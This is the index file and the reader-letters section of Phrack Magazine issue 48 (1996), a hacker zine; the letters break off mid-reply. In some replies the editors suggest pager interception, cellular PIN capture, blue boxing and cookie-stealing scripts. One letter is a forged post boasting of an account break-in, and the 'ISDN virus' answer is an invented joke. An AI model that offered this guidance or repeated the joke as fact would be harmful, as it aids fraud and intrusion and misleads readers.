==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 1 of 18
Issue 48 Index
___________________
P H R A C K 4 8
September 1, 1996
___________________
~ WARNING! This is a TOP SECRET-MAGIC EYES ONLY document containing
compartmenalized information essential to the national security of the
United States. EYES ONLY ACCESS to the material herein is strictly
limited to personnel possessing MAGIC-12 CLEARANCE LEVEL. Examination
or use by unauthorized personnel is strictly forbidden and is punishable
by federal law. ~
Yes, it's the annual issue of Phrack you've all been waiting for,
hopefully you have kept your security clearances current. The delay has
been a long one, much longer than anyone would have liked. Obviously
Phrack was never meant to be put out so infrequently, but the
continual pressures of daily life have taken their toll on yet
another editor. Yes, those little things like going to work, paying
the rent and all the other hassles that interfere with putting out a
large quarterly hobbbyist publication.
It finally came down to three choices: keep the status quo and put out an
issue whenever, charge per issue, or get in some new blood. Obviously the
status quo sucked, and an issue a year was just unacceptable. Charging
everyone was even more unacceptable, even though "Information wants to
be $4.95." So, that left bringing in more people to help.
The hard thing was finding people worth bringing into the fold.
There was never any shortage of people who wanted to take over the
whole magazine, but it wasn't until three of them banded together and
volunteered to take over the main editorial nightmare that it looked
like there was a light at the end of the tunnel. Voyager, maintainer of
the #hack FAQ and editor of CoTNO, RedDragon editor of FeH and
continual discoverer of Linux root bugs, and Daemon9 admin of InfoNexus and
text file author extraordinaire, came forward en masse and said,
"We'll do it."
Most of you have no idea how hard it is to put out a magazine like Phrack
with any degree of regularity. You have to track down articles, answer
tons of mail, read all kinds of news, edit the articles (most of which
were written with English as a second languge,) maintain the mailing
list, maintain the WWW site, etc. Hopefully with all the new
people involved, the new division of labor will allow everyone to
contribute and put out a magazine in a very timely fashion. (And allow poor
old Erikb to rest easy knowing the magazine is being taken care of so
he can devote more time to being a puppet-like stooge of The Man.)
In any case, you've waited long enough...here's Issue 48.
-------------------------------------------------------------------------
READ THE FOLLOWING
IMPORTANT REGISTRATION INFORMATION
Corporate/Institutional/Government: If you are a business,
institution or government agency, or otherwise employed by,
contracted to or providing any consultation relating to computers,
telecommunications or security of any kind to such an entity, this
information pertains to you.
You are instructed to read this agreement and comply with its
terms and immediately destroy any copies of this publication
existing in your possession (electronic or otherwise) until
such a time as you have fulfilled your registration requirements.
A form to request registration agreements is provided
at the end of this file. Cost is $100.00 US per user for
subscription registration. Cost of multi-user licenses will be
negotiated on a site-by-site basis.
Individual User: If you are an individual end user whose use
is not on behalf of a business, organization or government
agency, you may read and possess copies of Phrack Magazine
free of charge. You may also distribute this magazine freely
to any other such hobbyist or computer service provided for
similar hobbyists. If you are unsure of your qualifications
as an individual user, please contact us as we do not wish to
withhold Phrack from anyone whose occupations are not in conflict
with our readership.
_______________________________________________________________
Phrack Magazine corporate/institutional/government agreement
Notice to users ("Company"): READ THE FOLLOWING LEGAL
AGREEMENT. Company's use and/or possession of this Magazine is
conditioned upon compliance by company with the terms of this
agreement. Any continued use or possession of this Magazine is
conditioned upon payment by company of the negotiated fee
specified in a letter of confirmation from Phrack Magazine.
This magazine may not be distributed by Company to any
outside corporation, organization or government agency. This
agreement authorizes Company to use and possess the number of copies
described in the confirmation letter from Phrack Magazine and for which
Company has paid Phrack Magazine the negotiated agreement fee. If
the confirmation letter from Phrack Magazine indicates that Company's
agreement is "Corporate-Wide", this agreement will be deemed to cover
copies duplicated and distributed by Company for use by any additional
employees of Company during the Term, at no additional charge. This
agreement will remain in effect for one year from the date of the
confirmation letter from Phrack Magazine authorizing such continued use
or such other period as is stated in the confirmation letter (the "Term").
If Company does not obtain a confirmation letter and pay the applicable
agreement fee, Company is in violation of applicable US Copyright laws.
This Magazine is protected by United States copyright laws and
international treaty provisions. Company acknowledges that no title to
the intellectual property in the Magazine is transferred to Company.
Company further acknowledges that full ownership rights to the Magazine
will remain the exclusive property of Phrack Magazine and Company will
not acquire any rights to the Magazine except as expressly set
forth in this agreement. Company agrees that any copies of the
Magazine made by Company will contain the same proprietary
notices which appear in this document.
In the event of invalidity of any provision of this agreement,
the parties agree that such invalidity shall not affect the validity
of the remaining portions of this agreement.
In no event shall Phrack Magazine be liable for consequential, incidental
or indirect damages of any kind arising out of the delivery, performance or
use of the information contained within the copy of this magazine, even
if Phrack Magazine has been advised of the possibility of such damages.
In no event will Phrack Magazine's liability for any claim, whether in
contract, tort, or any other theory of liability, exceed the agreement fee
paid by Company.
This Agreement will be governed by the laws of the State of Texas
as they are applied to agreements to be entered into and to be performed
entirely within Texas. The United Nations Convention on Contracts for
the International Sale of Goods is specifically disclaimed.
This Agreement together with any Phrack Magazine
confirmation letter constitute the entire agreement between
Company and Phrack Magazine which supersedes any prior agreement,
including any prior agreement from Phrack Magazine, or understanding,
whether written or oral, relating to the subject matter of this
Agreement. The terms and conditions of this Agreement shall
apply to all orders submitted to Phrack Magazine and shall supersede any
different or additional terms on purchase orders from Company.
_________________________________________________________________
REGISTRATION INFORMATION REQUEST FORM
We have approximately __________ users.
Enclosed is $________
We desire Phrack Magazine distributed by (Choose one):
Electronic Mail: _________
Diskette: _________ (Include size & computer format)
Name:_______________________________ Dept:____________________
Company:_______________________________________________________
Address:_______________________________________________________
_______________________________________________________________
City/State/Province:___________________________________________
Country/Postal Code:___________________________________________
Telephone:____________________ Fax:__________________________
Send to:
Phrack Magazine
603 W. 13th #1A-278
Austin, TX 78701
-----------------------------------------------------------------------------
Enjoy the magazine. It is for and by the hacking community. Period.
Editors : Voyager, ReDragon, Daemon9
Mailboy : Erik Bloodaxe
3L33t : Mudge (See Below)
Short : Security Dynamics (NSDQ:SDTI) (See Above)
Myers-Briggs : ENTJ
News : Datastream Cowboy
Prison Consultants : Co / Dec, Tcon
Sick Sexy Horror Chick : Poppy Z. Brite
Thanks To : Cherokee, Damien Thorn, Boss Hogg, StaTiC,
Sendai, Steve Fleming, The Guild
Obi-1, Kwoody, Leper Messiah, Ace
SevenUp, Logik Bomb, Wile Coyote
Special Thanks To : Everyone for being patient
Phrack Magazine V. 7, #48, September 1, 1996. ISSN 1068-1035
Contents Copyright (C) 1996 Phrack Magazine, all rights reserved.
Nothing may be reproduced in whole or in part without written
permission. Phrack Magazine is made available quarterly to the
amateur computer hobbyist free of charge. Any corporate, government,
legal, or otherwise commercial usage or possession (electronic or
otherwise) is strictly prohibited without prior registration, and
is in violation of applicable US Copyright laws. To subscribe, send
email to phrack@well.com and ask to be added to the list.
Phrack Magazine
603 W. 13th #1A-278 (Phrack Mailing Address)
Austin, TX 78701
ftp.fc.net (Phrack FTP Site)
/pub/phrack
http://www.fc.net/phrack (Phrack WWW Home Page)
phrack@well.com (Phrack E-mail Address)
or phrackmag on America Online
Submissions to the above email address may be encrypted
with the following key : (Not that we use PGP or encourage its
use or anything. Heavens no. That would be politically-incorrect.
Maybe someone else is decrypting our mail for us on another machine
that isn't used for Phrack publication. Yeah, that's it. :) )
** ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED **
Phrack goes out plaintext...you certainly can subscribe in plaintext.
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3a
mQCNAiuIr00AAAEEAMPGAJ+tzwSTQBjIz/IXs155El9QW8EPyIcd7NjQ98CRgJNy
ltY43xMKv7HveHKqJC9KqpUYWwvEBLqlZ30H3gjbChXn+suU18K6V1xRvxgy21qi
a4/qpCMxM9acukKOWYMWA0zg+xf3WShwauFWF7btqk7GojnlY1bCD+Ag5Uf1AAUR
tCZQaHJhY2sgTWFnYXppbmUgPHBocmFja0B3ZWxsLnNmLmNhLnVzPg==
=q2KB
-----END PGP PUBLIC KEY BLOCK-----
-= Phrack 48 =-
Table Of Contents
~~~~~~~~~~~~~~~~~
1. Introduction by the Editorial Staff 13 K
2. Phrack Loopback / Editorial 55 K
3. Line Noise (Part I) 63 K
4. Line Noise (Part II) 51 K
5. Phrack Pro-Philes on the New Editors 23 K
6. Motorola Command Mode Information by Cherokee 38 K
7. Tandy / Radio Shack Cellular Phones by Damien Thorn 43 K
8. The Craft Access Terminal by Boss Hogg 36 K
9. Information About NT's FMT-150/B/C/D by StaTiC 22 K
10. Electronic Telephone Cards (Part I) 39 K
11. Electronic Telephone Cards (Part II) 66 K
12. Keytrap Revisited by Sendai 13 K
13. Project Neptune by Daemon9 52 K
14. IP-Spoofing Demystified by Daemon9 25 K
15. Netmon by Daemon9 21 K
16. The Truth...and Nothing but the Truth by Steve Fleming 19 K
17. International Scenes by Various Sources 33 K
18. Phrack World News by Datastream Cowboy 21 K
Total: 633 K
_______________________________________________________________________________
"The culture of criminal hackers seems to glorify behavior which would be
classified as sociopathic or frankly psychotic."
(Mich Kabay, director of education, NCSA, NCSA News, June 1996)
"The Greek word 'diarrhein,' which means 'to flow through,' describes
diarrhea very well."
(Gross-ology by Sylvia Branzei, Planet Dexter, 1996)
"Fuck you, clown!"
(Thee Joker, Defcon IV, July 28, 1996)
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 2 of 18
Phrack Loopback
-----------------------------------------------------------------------------
This is a response to the letter from KoV included in "Line Noise
Part I" from Phrack #47. After reading this open letter, I nearly died of
laughter. The inaccuracies of KoV's story were numerous and comical.
However, from the way KoV presented themselves, they are acting as if
it was their BBS network and a government conspiracy that has gotten
them into trouble. As a result, they will appear to many as a
wrongfully persecuted group of computer users.
Apparently, KoV likes to fancy themselves as a group that
spread "open-minded" and "sociopolitical" beliefs through their BBS
network, KoVNet. They claim that they "questioned [the] authority" of
those who "tried to oppress [their] free-thinking minds." They then
state that this caused the "AmeriKKKan" government to monitor their
actions, "stalk [them] in public places", and and attempt to destroy
them "from the moment of KoV's conception."
This is ridiculous. First off, their BBS network was not
enough to cause the government to stalk them in public. If a BBS
network that contains disdain for the American government justifies
the stalking of its users, then NUMEROUS people in this country are
currently being followed in public. Therefore, KoV's claim about
their threatening BBS network is an attempt to make
themselves look bigger and more important than they were.
Now, let us look at the real reason they are facing legal
actions. KoV is blaming "false accusations from a local university"
for their troubles. However, the accusations are not false and
after you read what led them to be caught, you will reallize that KoV
was never a threat to the government.
I do not know exactly how many universities they hacked.
However, if it is one local university as they claim, it is Skidmore
in Saratoga Springs NY, the university which I attend. I myself have played
around with Skidmore's computers and do not feel any loyalty or
patriotism to my school. Therefore, it is not a grudge I am harboring
against KoV for hacking Skidmore's system that is causing me to write
this. It is merely the fact that KoV is distorting the truth in an
attempt to turn themselves into martyrs.
Personally, I cannot blame anyone for breaking into Skidmore's
system. Since Skidmore was relatively new to the Internet, their
security was very lax making it very easy to explore and play around
with the system. If KoV had any knowledge whatsoever, they would not have
been caught or even detected by Skidmore. It was their egos and lack
of knowledge that led to their investigation. I myself saw with my
own eyes how they were detected.
The system that was hacked by KoV was wopr.skidmore.edu.
Well, one day I took a look at the system logs for WOPR and saw "root
login from [some out of domain ip address]" standing out quite well.
If KoV was really so Knowledgable and dangerous, wouldn't they know how to
edit system logs? However, they did not which shows KoV is another
example of people who managed to obtain root access and did not know
what to do with it.
Some people would think, "Big deal! Just because they didn't
edit the system logs does not mean that they could ever be linked to
the crime." This is very true. However, this would have required KoV
to keep their mouths shut about the incident. Yet, they did not.
Apparently, Lord Valgamon made a post to some of the BBS networks he
frequented where he showed off about hacking Skidmore and told
everyone how he did it.
This hurt KoV greatly. As a result, a narc on the BBS network
alerted CERT about Lord Valgamon's claims who, in turn, reported the
incident to Skidmore. This caused Skidmore to now have a name, though
anonymous, to apply to the break in. Consequently, the proper
authorities became involved and they began to track down Lord Valgamon
on the BBS networks.
From the above facts, you can probably guess that the
"AmeriKKKan" government would never have a special interest in KoV
because they are the typical stereotype of an "ELiTE M0DeM d00d." If
Lord Valgamon and KoV had kept their mouths shut about the incident,
they never would have been caught. However, KoV needed to tell their
ELiTE BBS scene how bad-ass they were and, as a result, their
bad-asses are getting spanked hard.
KoV had not done any crime or brought up any controversy
against the government. Their only crime was that they were stupid.
I understand that KoV is now asking for the support of the h/p and
political groups in the scene. However, I would not recomend anyone
to give them support. There was no government conspiracy against KoV
and everything that has happened to them was brought on by their own
stupidity. Do not turn a bunch of egotistical and immature criminals
into martyrs. I will end this with the same words KoV started their
letter with: "Don't believe the hype." - Public Enemy.
Sincerely,
Mr. Sandman
[ Wow. Well, we always like to hear all sides to any story, and each
time something gets published that gets under someone else's skin, we
inevitably do. Thanks for writing! ]
-----------------------------------------------------------------------------
Hello!
Let me tell some words about myself. Computers and
telecommunications take quite important place in my life. In
past I worked as a programmer, system administrator and finally
I ran my own business selling computer hardware (now I have
closed this business because I have lost my interest for trade
and due to some financial reasons). I owned my own BBS for
several years but now I have it shut down because I do not want
support lamers leeching files 2-3 years old and having no ideas
what email is. Now almost every day I spent many hours reading
Internet newsgroups, mainly dedicated to phreaking/hacking.
A friend of mine, gave me some Phrack issues (newest was #42 of 1993).
I have read them and like them very much.
If it is possible, please drop me a line how could I subscribe
to Phrack magazine. If you do, please encrypt your reply and
send it via anonymous remailer, because now Russian government
begun to control email messages very thoroughtly.
I have private information from friend Internet provider about
the FAPSI (Federal Agency of Government Communications and
Information -- some form of Russian NSA/FCC hybrid formed from
ex-KGB agents) actions aimed to control data passed through
Internet channels in Russia. FAPSI ordered all Internet
providers in St.Petersburg to install software which task will
be to copy all messages addressed to/from persons which FAPSI
interested in and to scan for some keywords specified by FAPSI.
Providers will get their licences for providing communication
service only after installing such spy software. There is a
rumour that FAPSI has installed hidden microphones (bugs) in
providers' offices to control any "illegal" activity (free
information exchange always was illegal in USSR/Russia). I say
"rumour" because I have heared it only from one trusted source,
other information came from several trusted sources
simultaneously.
BTW, using a PGP is illegal in Russia too, because FAPSI can not
break the PGP-encrypted messages.
If you find information written above meaningful, you may use it
in your own discretion but with some precautions -- remember
that country I live in have barbaric laws and Russian
Police/Security Services have _absolute_ power to put in jail
anyone they want without any court or warrant.
[ Normally I strip out all anonymous remailers, because they
interfere with the bulk mailing process, bounce mail, and generally
screw things up...however, there are always exceptions.
The FAPSI requirements are extremely interesting to hear about. It
certainly makes sense, and I fear that our country is likewise heading
towards that goal.
If you get the chance, you ought to write more about being a hacker
in your country, since I am sure the rest of the world would be
fascinated by it. ]
-----------------------------------------------------------------------------
Greetings...
I looking for just a nibble of information...
When one logs into a remote system and gets login and passwords questions
how does one write a program to crack a password...
I'm sure that is not an easy question or even a nibble perhaps a byte...
Seeking Info,
SPY
[ Well, I can't tell you how to write a program to crack passwords
without knowing what kind of system you want to crack passwords for.
I can't tell you how to say "Where is the bathroom" in a foreign
language without first knowing what language you want to say it in.
If you are talking about UNIX passwords, there are already numerous
programs written to "crack" passwords. I would suggest you go poke around
and look for programs like "crack" or "killer cracker." If you
can't find reference to either of these on the net, then you really
ought to consider finding a new hobby. ]
-----------------------------------------------------------------------------
Wuzup! I have a pager that I don't use anymore because I can't afford the
bill. So I was wondering if there is anyway I can hook-up my pager for free
without going through a paging service.
[ Depending upon the pager, you can possibly change or add capcodes through
special programming software. Almost all Motorola pagers allow you to do
this.
This won't allow you to "really" get free service, but you can piggy back
on top of some known person's pager service (or just intercept their pages.)
The only way to get "free" service is to reactivate the pager's current
capcode in the paging system from the local provider who owns the frequency
the pager is crystaled for. ]
-----------------------------------------------------------------------------
I was browsing through Issue 47, and saw something that had caught
my eye.
""THE HACKER WAR -- LOD vs MOD"
This t-shirt chronicles the infamous "Hacker War" between rival
groups The Legion of Doom and The Masters of Destruction. The front
of the shirt displays a flight map of the various battle-sites
hit by MOD and tracked by LOD. The back of the shirt
has a detailed timeline of the key dates in the conflict, and
a rather ironic quote from an MOD member."
A few weeks ago, I read the book Masters of Deception, a book about
the "war". Wasn't the name of the rival group Masters of Deception?
I assume that Erik would know, he appeared to be the main "villain" in
this version of the story. Any response would be appreciated.
[ I was the villain? Well corn my pone.
In any case, you should always take everything you read with a grain of
salt. In my opinion, the book was a piece of shit. Since many of the
MOD members decided to viciously attack the author, Josh Quittner, posing
as the ILF, I can only assume that they felt likewise.
So you decide for yourself about all that. Oh, and buy the damn
t-shirt. http://www.fc.net/phrack/shirts.html ]
-----------------------------------------------------------------------------
Hi Can you teach me to be a hacker i think that that would be cool so what do
you think can you teach me to be a hacker and to be cool you are one of the
biggest hackers in the world
[ No, I'm afraid as one of the biggest hackers in the world, I'm far too
important to expend any energy on the likes of you.
Now go back to your PlayStation and get better at Toshinden. ]
-----------------------------------------------------------------------------
Where culd i find some zipped red box tones? Or blue box.
CyberOptik
[ Make your own tones with the Blue Beep program.
Follow some of the links from the Phrack Home page, and you should
find this program on any number of sites. ]
-----------------------------------------------------------------------------
Hallo, din Gamle rn!!
(Norwegian for: Hello, you Old Eagle!!(direct.translated.)
(rn(Eagle) is pronounced like: earn ) End of Norw. lesson.
This is a question from one viking to another; I am a newbie in the H/P
division so I spend my days(and nights!) dwnloading all i can find about the
subject. But I do have some problems with the cellular phone system over
here, NMT 900. Which your system AMPS have stolen all the good parts from!
Untill last year i could program my cellular phone, Ericsson NH 99, by
programming and switching the 27c512 prom. But now the norwegian
telecompany Telenor Mobil has inserted pin codes, i.e. if my cellular phone
number used to be 12 34 56 78 (we have 8 digits), then my phone number now
has changed to 12 34 56 78 XX X. Where the 3 last digits are unknown to the
owner of the phone.
I do have programs and cables for programming the phone with all 8+3 digits,
but then I have to know the 3 digits, the pin code, and I do NOT know how
to download them from the cellular traffic going around my place. Can you
help me beat the system? How do I dwnload the pin code???? I read that they
are going to use the same system i the N.Y. area within this year, so someone
is going to ask you these qst. sooner or later. Be prepared! Or is my qst.
old news? Maybe everyone knows how to do this? Exept the norwegian newbie....
Vennlig hilsen
(thats:Best regards)
Stian(Mr.Phonee) Engerud
[ I'm not sure I understand how the last 3 digits can be unknown to the
owner of the phone. If your number changes, then obviously you have to
know the new number. Are you sure this isn't just a touch-tone PIN
entered in when you use phone, like systems over here in the states?
If it is, then you'll still need some kind of ESN reader, or other means
to decode the reverse channel, and a 900 mhz-capable radio and a touch-tone
decoder to grab the PINS as well. It's incredibly annoying.
On another note, I thought Telenor Mobil had AMPS, ETACS and GSM systems
in place. Have they upgraded their ETACS systems as well? If not,
use those. ]
-----------------------------------------------------------------------------
From: zadox@mindspring.com (Ron Zalkind)
Subject: Phrack Magazine: Strategic Marketing Partnership
I'm one of the principals of a new Internet-based, second-generation,
Information Technology service. This new Internet service debuted last week
at the Culpepper Forum in Atlanta. I'd like to propose a strategic marketing
partnership with Phrack Magazine. This proposal will spell out what it is
our service does (including a product demo), how we think a partnership with
Phrack Magazine might work, and how we can all increase profits by doing so.
Please reply to this E-mail with the name and E-mail address of the
'director of online strategy', or the 'circulation director', for Phrack
Magazine. Thank you.
Ron Zalkind, President
R.E. Zalkind & Co. Inc.
Voice: 770-518-1600
Fax: 770-642-0802
E-mail: zadox@mindspring.com (Ron Zalkind)
Ron Zalkind
[ WOW! I can't wait to hook up with THESE incredibly savvy people
so Phrack can dramatically increase our profits. Let's see, if we
make any money, we'll see a 100% increase! It's a no-lose
situation.
Man, I hate Internet mass-mailers. Don't these people attempt to qualify
their leads even a LITTLE? Strategic Marketing Opportunities with
free computer hacker magazines? Ron? Hello? ]
-----------------------------------------------------------------------------
First of all, great work on the 'zine all these years, hope to see 48
soon.
I have an article from "Airman" magazine (I believe it was the April
1996 issue), the US Air Force magazine given to military members. It
details the efforts of AFOSI (Air Force Office of Special Investigations)
to prevent hackers from breaking in to military computers. Considering
it's coming from the military, it's not too badly written (the author
actually knew the difference between "crackers" and "hackers"). I don't
have a scanner, but I'd be more than willing to snail mail it to you. I
just wanted to check and see if you guys already had it of not. If you
don't, let me know, and I'll get it to you ASAP.
Keep up the good work....
[ We would definately like to see the text from this article. Please
forward it!
In fact, if any of you readers ever come across ANYTHING you think is cool,
email it to us, or snail mail it. We love getting mail.
We will print anything cool. (And a lot of lame things too!)
Just stop sending us credit histories and password files. :) ]
-----------------------------------------------------------------------------
need access to w.gov xxx now
[ w.gov? Uh, ok, let's see:
Reserved Domain (W-GOV-DOM)
Domain Name: W.GOV
Administrative Contact, Technical Contact, Zone Contact:
Internet Assigned Numbers Authority (IANA) iana@isi.edu
(310) 822-1511
Record last updated on 02-Dec-93.
Record created on 01-Dec-93.
Do you know what this means? Duh. ]
-----------------------------------------------------------------------------
From: health@moneyworld.com
Subject: Scientific Discoveries Minimize Aging (DHEA)
http://dhea.natureplus.com
Take advantage of the amazing benefits of DHEA. In the search for the
FOUNTAIN OF YOUTH, DHEA is a must README. People, age 70, feeling and
acting 25.
Read the medical research at http://dhea.natureplus.com .A quote from
an article published by the New York Academy of Science written by Dr.
S.S.C.YEN;
"DHEA in appropriate replacement doses appears to have remedial effects
with respect to its ability to induce an anabolic growth factor, increase
muscle strength and lean body mass, activate immune function, and enhance
quality of life in aging men and women, with no significant adverse effects."
Regain the eye of the tiger! Don't wait ! Click on: http://dhea.natureplus.com
To terminate from the Health Catalog, Reply to health@moneyworld.com with
"remove" in the subject field. Bob Williams 206-269-0846
P.S. You will find a full line of Vitamin, Supplements and OTC Health
Catalog at http://natureplus.com.
[ Yet another Mass mailing! How many lame mailing lists are we on?
You have to wonder about these things.
But how angry can one get, knowing that DHEA is the FOUNTAIN OF YOUTH!
I need to get me some of that. A little DHEA, a little GHB, a little
DMT, and you'll look younger, feel younger, and have the brain of
a two year old.
And besides, Jesus loves acronyms. ]
-----------------------------------------------------------------------------
Do you listen to 2nur radio? If so have you ever heard a band named
SOYLENT GREEN or GOITER on any of their shows?
please email me back
thanx,
Nick
[ Nick, I hate to break it to you, but:
SOYLENT GREEN IS PEOPLE!!!
IT'S PEOPLE!!!!! ]
-----------------------------------------------------------------------------
From: Pete Shipley <shipley@dis.org>
To: best-of-security@suburbia.org, cert@cert.org, cudigest@sun.soci.niu.edu,
daddict@l5.com, dc-stuff@fc.net, dtangent@defcon.org,
emmanuel@2600.com, grayarea@gti.gti.net, letters@2600.com,
mycroft@fish.com, phrack@freeside.fc.net, phrack@well.sf.ca.us,
proff@suburbia.org, root@iss.net, root@l0pht.com, root@lod.com,
root@newhackcity.com, spaf@cs.purdue.edu, strat@uu.net,
will@command.com.inter.net, zen@fish.com
Subject: Shipley owned, hacked and thrashed
Please distribute this letter freely:
This posting is being made from dis.org, and this is not forged e-mail.
Even though this mail is coming from Peter Shipley's account, I am not him.
Who am I?
That is unimportant except to say that I cannot take anymore of the
"DoC" crowd's BULLSHIT. I would like to raise an issue with them, mostly
(but not all related to the incident at defcon).
To you drunken losers at defcon who had to fuck with Netta's speech (DoC
on hold here for a second, it wasn't just them): If you didn't want to hear
Netta's speech (though in your opinion it may be monotone, boring or even
wrong) you DIDN'T HAVE TO STAY AND LISTEN TO IT. There were some people that
WANTED to listen to the speech, but you all had to act like POMPOUS ELITIST
ASSES. How different are you now from a government that would like to
enforce censorship upon it's own people?
All I can say is "getbacks are a bitch". A few things to consider:
1. Shipley is an utter tool. His whole appearance is a front. If he's
such an awesome security specialist then why was he so easily owned? Also
I bring into question some of the motives he has for harassing Netta Gilboa.
Her boyfriend (who is currenlty in jail) was known for continually hacking
(yes CONTINUALLY hacking) Peter Shipley. I know this because I spoke with
Chris (n00gz) many times and was aware of this fact.
In my opinion Petey, anyone that is foolish enough to hire you to secure their
systems are idiots; whether it's the military, government, industry, a
business -- they should all just ask for their money back. You are a discredit
to your profession.
2. Shipley is a coward. Only cowards attack people weaker than them
but back away from a confrontation with someone of equal size or power.
Careful Peter -- next time don't piss off Bootleg, he might hurt that pretty
boy face of yours (though I admit, I would like to see it)
3. Hackman was a gob of shit. Peter Shipley has come to know his true
calling in life now (to wit: Webmaster).
4. The fangs make you look like a homo. Maybe you are (nothing against
them actually, just stating a fact).
Shipley, se7en, (ayoung, where's your piglet account?). Get a fucking life.
Maybe instead of contstantly going around "Searching for intelligent life"
perhaps you should stay home and secure your own systems. You are all owned,
now don't you feel stupid? You should. You are.
DIS.ORG == DISORGANIZED.
-- galf@upt
[ This is almost funny.
Notice I said, almost.
You have to admit though, Shipley always comes with some damn fine
women in tow. Oh the things I did in my mind to that blonde...
Something tells me that the author of this forged message could use a lot
of Shipley hand-me-downs: Women, contracts, references, etc... ]
-----------------------------------------------------------------------------
Hey, I just watched the movie Hackers, and I was just curious to know if They
used you and the LOD to models the characters in the movie after? Alot of the
handles, and choice phrases they used sounded awfully Farmiliar with what
went on, or at least what the book said went on.
Meds:}
[ Actually, meds, the screenwriter hung around with "MOD" and other people from
the New York hack scene and picked up some pointers, and then used
people like Dead Lord and Emmanuel Goldstein as technical assistants.
Or something like that.
Please, don't ever associate "LOD" with this piece of shit again. :) ]
-----------------------------------------------------------------------------
A lot of people have read the article about Joe Engressia and his time in
Memphis where he was arrested by the police and banned from his dream of
working on phone lines. Well, at the time when he was living on Union
avenue, my mother was in charge of payroll, hiring and the like at a local
switchboard. This was back in 1972 when the phone system was less of the
fuqup it is today. Well, a friend of my mother's taught Mr. Engressia how to
cook and other related houshold things despite his handicap. Shortly after
or before this, (I am unsure) he was arrested by the police. I think this
was also about the time the interview was made. Anyway, the local phone
companies would not touch him, not even to give him service. My mother,
after talking with him decided to hire him as a phone consultant. (Her
opinion of his was that "He was so brilliant, it was scary, I mean REALLY
scary.") She though he was a great "kid" (22 at the time) and was the best
consultant that they had. He worked there for three years before moving.
The last my mother heard was that he was living in a Denver high rise
working as a consultant to a corporation or something out there. I only just
started talking with my parents about this today, but I am sure that they
will tell me more of him.
Oh, and my father was good friends of Joe too, he and Joe were Ham Radio
operators here in Memphis and my father still phreaks on them so I am sure
that Mr. Engressia does too. Anyway, my father is teaching me how to hack,
and my mother is teaching me how to phreak, but she only knows a little of
outdated info and wants to get in touch with Joe. If anyone, ANYONE has any
information about Joe, or if somehow this article gets to Joe, please let me
know at the following e-mail address:
Kormed@aol.com.
[ We used to call Joe on conferences a long time ago. I could probably
dig his contact information up, but I really doubt he'd appreciate his
number being published in Phrack.
Hell, if your parents are teaching you how to hack & phreak, then certainly
they can find Joe. He was always listed in Directory Assistance when
we tracked him down years back.
Have you even really looked for him? ]
-----------------------------------------------------------------------------
quick question For Bloodaxe.
Ok, I know you probably get this Alot,but I just have to ask?...
Did you Really Date Christina Applegate?
had to ask,
[ Man, now that is a rumor that I would love to have started myself.
No. Never dated her, never met her, never talked to her, never
had any contact whatsoever. Spent some time holding up some of her
posters with one hand, but that's about it. ]
-----------------------------------------------------------------------------
do you have any info on stealing magic cookies ??
[ No, but I can trade you these magic beans for your cow. If you plant
them they will grow high into the sky, towards the castle in the clouds
where the giant lives with the talking harp and the goose that lays the
golden eggs.
Go read some of the WWW Security Lists, if you're talking about what
I think you are. There are also javascript routines that collect
navigator cookies from clients hitting your page. After briefly looking
around, I can't find the specific sites to snarf them from. Go do a
webcrawler search for WWW security or javascript security. ]
-----------------------------------------------------------------------------
Dear Phracks - I'm a Free Journalist from Germany and I'm going to write
an articel about ISDN and the possible danger which might happen to a
company etc. getting hacked by some agnets, spies etc. from other
countries. So I'm looking for indos about ISDN-Viruses, Hackers and
background infos.
Can you help me?
[ Wow, a "Free Journalist." I thought that pesky national socialist party
imprisoned all you guys.
ISDN Viruses are quite possibly the worst thing to happen to computing
since the creation of the Cellular Trojan Horse. Basically, these viruses
travel over the wires using the X.224 transport protocol, and seize the
D channel using Q.931. All SS7 data sent over the D channel is quickly
compromized and re-routed to different signal transfer points, causing
massive ANI Failure over the entire routing mesh.
Rumor has it that the Internet Liberation Front was behind these viruses
with heavy investement coming from the German Bundesnachrichtendienst's
Project Rahab. These hackers were paid with AT&T calling cards encoded
with a polymorphic encryption scheme, and cocaine.
You can quote me on this. ]
-----------------------------------------------------------------------------
Well, i wanna make an offer, and a nice deal.
i am n editor in an H/P/C magazine of HFA ( universal H/P/C
group..)
well, what i wanna offer is a joining both of the papers
2gether, OR! u want more subscribes, we'll publish ya,
but adding 1 article from ya'r paper, saying from where it is.
so, if we can make this deal, contact me asap!
10x.
[ Let me see if I understand this, your "universal H/P/C group" has
a magazine, and wants to do "Phrack" the great honor of merging
with us, or printing our articles? Wow. What a deal. You mean
by linking up with you guys, we will hit a greater audience
"universally?"
So, merging our roughly 10,000 direct email subscribers, and a roughly
75,000 more WWW or misc. readers, adding in your readers, that should
bring us up to 85,001 readers! Universally! FAN-FUCKING-TASTIC!
Are there so many rocks for you people to crawl out from under?
Sheesh! ]
-----------------------------------------------------------------------------
Hello,
I have a need for a network sniffer. Specifically, one that will
sniff IEEE-802.3 packets and TCP/IP packets. Any leads?
[ Well, gee, are there network sniffers that won't?
Go do an archie search for tcpdump. ]
-----------------------------------------------------------------------------
I was just strolling by you page: http://freeside.com/phrack.html,
and found my link "Showgirl Video" (link to vegaslive.com).
I am the creator and webmaster for the site. If I can ever be
of assistance to you let me know.
We are one of the few sites in the world that has a live stage and
live 1 on 1 conferencing in one place.
john...
[ Ya know, every time I'm in Vegas I make it out to Showgirl Video with
a bucket of quarters and a healthy dose of bad intent. I have to
congratulate you guys for going on-line. I love it when two of
my favorite things come together (smut and computers).
Unfortunately, The Vegaslive site is kind of pricey. You guys seriously
need a flat fee. I suggest you look at a SUPURB site:
http://www.peepshow.com
That place has a flat fee, all you can eat pricing structure, the way
God meant it to be. Take note, and follow suit. ]
-----------------------------------------------------------------------------
I have a Mitsubishi MT9 (MT-1097FOR6A) ..I program the NAM with the
passw: 2697435 ...I need the passw to have access to SCAN or TAC
function ...please, help me!
Thank
Regards
[NCG]
[ I'm not familiar with that phone, but I'd start off looking through
Dr. Who's archive of cellular info at:
http://www.l0pht.com/radiophone
If what you are looking for isn't there, there might be a link to
somewhere that has it. ]
-----------------------------------------------------------------------------
my name is azreal! I am also known as the angel of death. why did you sell
out to the feds back when you running comsec. i think phiber optick was a
great guy and i would have been glad to work with a legend. do you know his
e-mail adress
azreal
[ Azrael? The Angel of Death? I thought Azrael was Gargamel's annoying cat.
But to answer your question, I sold out to the man ages ago for money.
